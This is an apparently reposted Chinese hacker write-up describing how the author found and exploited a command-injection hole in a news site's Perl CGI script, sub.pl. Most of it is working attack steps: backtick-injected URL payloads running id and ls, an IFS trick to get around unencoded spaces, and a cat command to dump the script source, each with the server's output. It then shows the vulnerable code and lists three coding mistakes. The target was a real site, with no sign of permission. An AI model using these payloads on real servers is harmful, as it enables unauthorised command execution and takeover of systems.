当前位置:Linux教程 - Linux - 一个CGI漏洞的发现和利用.

一个CGI漏洞的发现和利用.



        
    by stardust

    声明:写这个贴子的目地不是怂恿搞破坏,只是想说明一个
    问题,有谁用贴子提供的信息干了什么坏事,那完全是他自
    己的事,与本人无关!

    前几天在国内的某个169节点读新闻,这个站点顶部的一
    排分类新闻的链接引起了我的注意,这些链接都指向一个
    叫sub.pl的CGI,只是它们后面跟的参数不同:国内新闻的
    是sub.pl?cn,国际新闻的是sub.pl?in,财经的是sub.pl?fi
    诸如此类...跟一般的CGI程序不同,sub.pl后跟的不是通常
    的key,value对,哈,让我给sub.pl吃点洋荤,随便自己指定
    个参数给它:
    http://victim.net/cgi-bin/home/news/sub.pl?12

    不出所料,CGI运行出错了:
    /home1/siteadm/cgi-bin/home/news/log/12/*.*: 无此文件或目录

    这个CGI真是太老实了,它至少告诉了我们两件事情:一 CGI目录
    的绝对路径. 二 我们输入参数的作用,sub.pl的参数是在脚本中
    作为目录名.这些发现一下子把我兴趣提了起来,再试试不同的
    参数说不定有更大的发现,经过N次的试验,得到的出错信息大同
    小异,值到第N+1次请求:
    http://victim.net/cgi-bin/home/news/sub.pl?&

    服务器的返回信息有些不一样了:
    sh: /WS_FTP95.exe: 不能执行

    注意到了前面的\"sh:\"了吗?哈!,熟悉UNIX的朋友应该知道,这可是
    只有在shell试图运行某个程序出错时才会出现的错误信息.看起
    来shell在试图运行什么程序,而重要的是我们能够影响它!怎样去
    进一步的影响它呢?反引号\"`\",绝对是值得一试的:
    http://victim.net/cgi-bin/home/news/sub.pl?`ls`

    服务器返回了奇怪的信息:
    /home1/siteadm/cgi-bin/home/news/log/315: 无此文件或目录
    \"315\"是什么东西?

    再试:
    http://victim.net/cgi-bin/home/news/sub.pl?`id`

    这次返回的信息令我大吃一惊:
    /home1/siteadm/cgi-bin/home/news/log/uid=999(siteadm): 无此文件或目录 gid=999(netsite)/*.*: 无此文件或目?
    很显然,服务器运行了id,我们能利用sub.pl运行shell命令了!刚
    才的ls命令也肯定运行了,\"315\"一定是当前CGI目录下的子目录.

    让我们来列一下服务器根目录吧:
    http://victim.net/cgi-bin/home/news/sub.pl?`ls%20/`

    没成功:
    sh: ls%20/: 没找到
    看来,sub.pl没有把\"%20\"解码成空格的习惯 :( 如何绕过这个限制
    呢?相信你现在也已经想到了,还得靠我们的IFS变量, 用它来指定
    shell分界符.试一下:
    http://victim.net/cgi-bin/home/news/sub.pl?`IFS=!;uname!-a`

    服务器的回应:
    /home1/siteadm/cgi-bin/home/news/log/SunOS: 无此文件或目录 victim.net: 无此文件或目录 5.5.1: 无此文件或目录 Generic_103640-27: 无此文件或目录 sun4u: 无此文件或目录 sparc: 无此文件或目录 SUNW,Ultra-2/*.*: 无此文件或目录
    成功了!现在我们差不多有了shell访问权限,对SunOS这样的系统,拿
    到root只是时间问题了.没有必要再继续下去,我不想搞破坏,对sub.pl
    瞎子摸象式的攻击已经给了我足够的乐趣. :) 当然我还有兴趣看
    看问题到底出在哪,把sub.pl弄下来看看:
    当然这还得靠sub.pl :)
    http://victim.net/cgi-bin/home/news/sub.pl?`cat<\/home1/siteadm/cgi-bin/home/news/sub.pl\`
    输出结果太乱,就不列在这儿了.

    经过整理后的sub.pl中的片断:
    #!/usr/gnu/bin/perl
    require \"common.pl\";
    #($type) = split(//,$ENV{\QUERY_STRING\});
    $type1=$ENV{\QUERY_STRING\};
    $tdbg=\"#FF9900\";
    &parse_form;
    if ($FORM{\command\} eq \search\){
    #if ($FORM{\newstype\} ne \newstype\){ $type1=$FORM{\newstype\};}
    #}
    if ($type1 eq\"so\") {$tdbg=\"#0099CC\";}
    if ($type1 eq\"in\") {$tdbg=\"#71B8FF\";}
    if ($type1 eq\"fu\") {$tdbg=\"#CE9ECD\";}
    if ($type1 eq\"sp\") {$tdbg=\"#CCCCFF\";}
    if ($type1 eq\"te\") {$tdbg=\"#FF91FC\";}
    if ($type1 eq\"fi\") {$tdbg=\"#ffb3b3\";}
    if ($type1 eq\"it\") {$tdbg=\"#FFDE01\";}
    if ($type1 eq\"\") {$type1=\"it\";} open (FILE, \"$cgipath/$type\") || &error(\"Unable to open $cgipath/$pwd\");
    @main1= ; close (FILE); foreach $line1(@main1)
    {
    chop($line1);
    ($type2,$name1)=split(//,$line1);
    if ($type2 eq $type1) {$name=$name1;}
    }
    $sublog=$$type1;
    print \"Content-type text/html \\n\\n\";
    if ($FORM{\command\} eq \searchdate\){
    $sublog=\"$type1/$FORM{\mmdd\}.txt\";}
    open(FILE,\"$path_log/$sublog\") || die(\"Unable to write to $path_log/$file\");
    @main = ;
    close(FILE);
    #&newshead($name,\"1\");
    .
    .
    .
    .
    .
    $data_path1=\"$data_path/$type1\";
    $search_data = `ls $data_path1/*.*`; <--------看来,就是死在这了 :)
    $search_data =~ s/$data_path1|\\.txt|\\///g;
    .
    .
    .
    .
    .

    结论:对于编写很差的CGI程序,通过封闭源码的办法很多时候并不能躲过被
    黑客利用的命运,黑客可以通过向它发送许多出人意料的请求,分析它的回应
    猜测出程序的结构和可能存在的弱点从而利用之.上面的这个sub.pl例子,至
    少犯了三个错误:1.没有对用户输入进行检查.2.在脚本中直接调用shell,3.
    没有什么错误处理机制. 只要它在3点中的一点有所加强,将大大增加黑客入侵
    的难度.还想说的是,国内外通过CGI漏洞入侵的例子并不少见,据说,ADM就是
    利用第三方的CGI程序的漏洞黑了著名的hack站点anticode,Antionline变成了
    ADMonline :).

    welcome to my exploit search engine: http://st4rdust.heha.net/index1.html

    发布人:netbull 来自:黑白世界